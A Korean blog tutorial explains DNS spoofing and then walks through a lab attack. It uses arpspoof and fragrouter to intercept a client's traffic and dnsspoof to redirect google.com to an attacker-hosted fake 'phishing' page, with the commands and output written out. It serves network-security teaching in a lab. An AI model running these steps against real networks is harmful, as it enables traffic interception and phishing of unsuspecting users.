본문 바로가기

IT보안/네트워크 해킹&보안

[ Kali리눅스 ] DNS스푸핑 개념 및 실습 #1 | dnsspoof툴 | arpspoof



DNS 스푸핑(Spoofing) 공격 개념

✎DNS 스푸핑은 웹 스푸핑과 비슷한 의미로 이해되기도 한다.

IP 주소를 변조 또는 사용자가 의도하지 않은 주소로 접속하게 만드는 공격방법이다.




먼저, DNS 스푸핑의 개념을 이해하기 위해선 정상적인 DNS 개념부터 알아야한다.




DNS 서비스


① 클라이언트가 DNS서버에 접속하고자하는 IP를 물어본다 (DNS Query)

② DNS서버가 해당 도메인 네임에 대한 IP 주소를 클라이언트에 보내준다 (DNS Response)

③ 클라이언트는 DNS 서버에서 받은 IP주소를 바탕으로 웹 서버를 찾아간다 (Web Login)




이제, DNS 스푸핑 공격 개념을 한번 알아보자.

DNS 패킷은 UDP 패킷이므로 세션이 존재하지 않아서, 먼저 도착한 패킷을 신뢰하며 다음에 도착한 정보는 버린다.

(UDP의 connectionless 특성이 가지는 취약점을 이용)

이러한 DNS 서비스의 특징을 이용하면 DNS 스푸핑을 할 수 있다.




DNS 스푸핑 공격

 ① 클라이언트가 DNS 서버로 DNS Query 패킷을 보내는 것을 확인한다. 이때 ARP 스푸핑 같은 선행 작업이 필요하다.

 ②,③ 공격자는 로컬에 존재하므로 DNS 서버보다 지리적으로 가깝다. 따라서 DNS 서버가 올바른 DNS Response 패킷을 보내주기 전에 위조된 DNS Response 패킷을 클라이언트에게 보낼 수 있다.




※요즘 DNS 서버성능이 워낙 좋아져서, 로컬에 존재하는 공격자의 DNS Response 패킷이 서버의 DNS Response패킷보다 느린 경우가 있다. 이 때문에 DNS 스푸핑공격의 성공률은 현재 현저히 낮다.


 ④ 클라이언트는 공격자가 보낸 DNS Response 패킷을 올바른 패킷으로 인식하고 웹에 접속한다. 지리적으로 멀리 떨어진 DNS 서버가 보낸 DNS Response 패킷은 버린다.




실습#1 - DNS 스푸핑 공격 (사용툴: apache, tomcat, arpspoof, fragrouter, dnsspoof)

 ※실습환경 

 (1) 피싱 웹 서버 구축 (여기서는 단순히 해킹 방법만 논할 것이므로 단순히 웹 서버만 동작 시킬 것이다) - 공격자

 ▼웹 서버 구축을 위해선 톰캣 & 아파치 연동이 필요되므로 해당 글을 따라해서 미리 설정하자

[http://opentogether.tistory.com/26?category=748481

root@kali:~# cd /var/lib/tomcat8/webapps/ROOT/
root@kali:/var/lib/tomcat8/webapps/ROOT# ls -l
합계 8
drwxr-xr-x 2 root root 4096  7월 10 15:40 META-INF
-rw-r--r-- 1 root root 1896  7월 10 15:40 index.html
root@kali:/var/lib/tomcat8/webapps/ROOT# rm -rf index.html 
root@kali:/var/lib/tomcat8/webapps/ROOT# vi index.html

▲웹 서버를 구축하기 위해서 apache 웹 경로에 index.html파일을 삭제(rm -rf)한 후 수정해준다.

<HTML>
    <HEAD><title>Network Security</title></HEAD>
	<BODY>
		<h1>Fishing Site</h1>
	</BODY>
</HTML>

▲index.html 코드 다음과 같이 수정해준다. [클라이언트에게 보여줄 가상 피싱사이트 html 파일]

root@kali:/var/lib/tomcat8/webapps/ROOT# /etc/init.d/apache2 restart
[ ok ] Restarting apache2 (via systemctl): apache2.service.
root@kali:/var/lib/tomcat8/webapps/ROOT# /etc/init.d/tomcat8 restart 
[ ok ] Restarting tomcat8 (via systemctl): tomcat8.service.


▲Tomcat & 웹 데몬 재시작 후 웹서버 접속(http://localhost) 테스트한다.

 (2) 공격자 IP를 확인한 후, DNS 스푸핑 파일을 설정 (공격하고자하는 사이트를 임의의 hosts 파일에 등록) - 공격자

root@kali:~# vi dnsspoof.hosts



▲임의의 영역에 dnsspoof.hosts파일을 만들어서 왼쪽에는 공격자 IP를 오른쪽에는 공격할 사이트를 추가해준다.

 (3) ARP 스푸핑과 패킷 릴레이 (패킷을 보낼 때 공격자의 시스템을 지나도록 한 후, 패킷이 끊어지지 않게 함) - 공격자

root@kali:~# arpspoof -t 192.168.1.30 192.168.1.2
0:c:29:2:58:b5 0:0:0:0:0:0 0806 42: arp reply 192.168.1.2 is-at 0:c:29:2:58:b5
0:c:29:2:58:b5 0:0:0:0:0:0 0806 42: arp reply 192.168.1.2 is-at 0:c:29:2:58:b5
0:c:29:2:58:b5 0:0:0:0:0:0 0806 42: arp reply 192.168.1.2 is-at 0:c:29:2:58:b5
0:c:29:2:58:b5 0:0:0:0:0:0 0806 42: arp reply 192.168.1.2 is-at 0:c:29:2:58:b5
0:c:29:2:58:b5 0:0:0:0:0:0 0806 42: arp reply 192.168.1.2 is-at 0:c:29:2:58:b5
...무한반복
root@kali:~# fragrouter -B1
fragrouter: base-1: normal IP forwarding

 ▲arpspoof툴로 스푸핑 공격을 실행한 후, 새 창으로 fragrouter로 패킷을 릴레이해준다.

 (3) DNS 스푸핑 공격 수행하기 - 공격자
root@kali:~# dnsspoof -i eth0 -f ./dnsspoof.hosts 
dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.40]

 ▲전에 만들었던 dnsspoof.hosts파일을 참조해 dnsspoof 공격을 시작한다.


 (4) 공격이 성공되었는지 클라이언트에서 확인 - 클라이언트

 


▲클라이언트에서 google.com으로 ping을 보냈더니 공격자의 주소인 192.168.1.40으로 응답하였다.


허나, 공격이 실패했을 경우엔 클라이언트가 구글의 올바른 IP 주소를 확인하는 경우도 있다.

그럴땐 클라이언트의 명령 프롬프트(cmd)창을 관리자모드로 실행 시킨후 DNS 정보를 삭제해준 후 다시 핑을 시도해보자.



▲"ipconfig /flushdns"로 DNS 정보를 삭제해준다.




위에서 언급했듯이 현재 DNS 서버의 응답속도는 현저히 빠르기 때문에 공격자의 DNS Query패킷보다 빠른 경우가 대다수이다.

저같은 경우에는 약 30회 가량의 공격을 시도하고나서 겨우 성공했습니다.


※크롬브라우저같은 경우에는 구글,네이버 같은 유명 검색엔진이 미리 저장되어있어, 마이크로소프트 엣지를 통해 접속을 시도했습니다.



 (5) 클라이언트에서 웹 사이트로 접속 시도 - 클라이언트

 


▲www.google.com으로 접속을 시도했는데, 공격자의 웹페이지로 이동되었습니다.





dnsspoof를 이용해서 공격을 시도하는데엔, 성공률이 희박하다는 단점이 있었습니다.

이어서 다음글로는 ettercap 툴을 이용한 DNS스푸핑을 해보겠습니다.